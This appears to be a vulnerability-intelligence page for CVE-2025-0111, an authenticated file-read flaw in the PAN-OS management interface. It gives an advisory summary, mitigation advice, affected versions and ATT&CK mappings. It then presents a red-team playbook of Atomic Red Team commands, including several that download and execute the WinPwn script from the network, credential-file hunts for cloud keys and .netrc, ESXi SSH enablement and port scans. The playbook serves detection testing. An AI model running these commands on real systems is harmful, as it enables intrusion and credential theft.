CVE-2025-0111

MEDIUM CISA KEV Pub 12/02 Upd 26/02

Overview

This vulnerability is an authenticated file read flaw in Palo Alto Networks PAN-OS software, specifically affecting the management web interface component. The root cause lies in improper access control allowing an authenticated user with network access to read arbitrary files on the PAN-OS filesystem that are accessible by the "nobody" user. The flaw arises from insufficient restrictions on file read operations within the management interface's authentication context.

Vulnerability Description

An authenticated file read vulnerability in the Palo Alto Networks PAN-OS software enables an authenticated attacker with network access to the management web interface to read files on the PAN-OS filesystem that are readable by the “nobody” user. You can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practices deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue does not affect Cloud NGFW or Prisma Access software.

Impact

An attacker with valid credentials and network access to the management web interface can read sensitive files on the PAN-OS device that are accessible by the "nobody" user. This can expose configuration files or other sensitive information, potentially aiding further attacks or reconnaissance. The prerequisite is possession of a low-privileged authenticated account with network access to the management interface. The exposure of internal filesystem data can lead to information disclosure and compromise of device confidentiality within enterprise environments.

Solution

Palo Alto Networks recommends restricting access to the management web interface to trusted internal IP addresses as per their deployment best practices detailed at https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431. For detailed patch information and updates, refer to the vendor advisory at https://security.paloaltonetworks.com/CVE-2025-0111. Applying the latest PAN-OS updates that address this issue is advised to mitigate the vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

An authenticated file read vulnerability in Palo Alto Networks' PAN-OS software presents a significant risk to organizations relying on this firewall and security platform. This flaw allows an authenticated attacker with network access to the management web interface to read files on the PAN-OS filesystem that are accessible by the “nobody” user. The implications of this vulnerability are particularly concerning, as it could enable attackers to gain sensitive information stored in configuration files or logs, potentially leading to further exploitation of the system or lateral movement within the network.

Exploitation of this vulnerability can occur through various attack vectors. An authenticated user, who may have legitimate access to the management interface, could leverage this flaw to enumerate files and extract sensitive data. Scenarios may involve an insider threat, where a disgruntled employee or a compromised account is used to access the management interface. Additionally, if an attacker can obtain valid credentials through phishing or other means, they could exploit this vulnerability to escalate their access within the network. The ability to read files could provide insights into the network's architecture, security policies, and other critical elements that could facilitate more severe attacks.

The real-world impact of this vulnerability can be severe, particularly for organizations that rely heavily on Palo Alto Networks' solutions for their cybersecurity posture. The potential for data exfiltration, unauthorized access to sensitive information, and the subsequent compromise of other systems poses a significant business risk. Organizations may face regulatory repercussions, reputational damage, and financial losses due to breaches stemming from this vulnerability. Furthermore, the ability to read configuration files could allow attackers to identify weaknesses in security controls, making it easier to launch more sophisticated attacks against the organization.

To mitigate the risks associated with this vulnerability, organizations should implement several detection and mitigation strategies. First and foremost, restricting access to the management web interface to only trusted internal IP addresses is crucial. This approach limits exposure to potential attackers and reduces the likelihood of unauthorized access. Regularly auditing user accounts and access permissions can help identify and remediate any unnecessary privileges. Additionally, organizations should monitor logs for unusual access patterns or file read activities that could indicate exploitation attempts. Employing network segmentation can further isolate critical systems, minimizing the impact of any potential breach.

In conclusion, the authenticated file read vulnerability in PAN-OS represents a notable threat to organizations utilizing this security platform. The ability for an authenticated attacker to read sensitive files can lead to significant security breaches and operational disruptions. By understanding the technical details, potential attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to detect and mitigate risks effectively. Implementing best practices for access control and continuous monitoring will be essential in safeguarding against exploitation of this and similar vulnerabilities in the future.

Affected Products (48)

Vendor Product Version CPE
paloaltonetworks Paloaltonetworks Pan-Os All cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os All cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os All cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os All cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os All cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.1.14 cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:-:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.1.14 cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h2:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.1.14 cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h4:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.1.14 cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h6:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.1.14 cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h8:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.7 cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:-:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.7 cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h1:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.7 cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h12:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.7 cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h16:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.7 cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h18:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.7 cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h19:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.7 cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h21:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.7 cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h3:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.7 cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h6:*:*:*:*:*:*
paloaltonetworks Paloaltonetworks Pan-Os 10.2.7 cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h8:*:*:*:*:*:*
+28 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

3 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2025-02-20
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Path Traversal
96% path_traversal
Information Disclosure
61% info_disclosure
Insecure Direct Object Reference
44% idor

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-79 Using Slashes in Alternate Encoding
37%
High High
CAPEC-64 Using Slashes and URL Encoding Combined to Bypass Validation Logic
34%
High High
CAPEC-76 Manipulating Web Input to File System Calls
32%
High Very High
CAPEC-78 Using Escaped Slashes in Alternate Encoding
32%
High High
CAPEC-13 Subverting Environment Variable Values
32%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2025-0111
security.paloaltonetworks.com
GitHub CVE vendor-advisory
https://security.paloaltonetworks.com/CVE-2025-0111
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-0111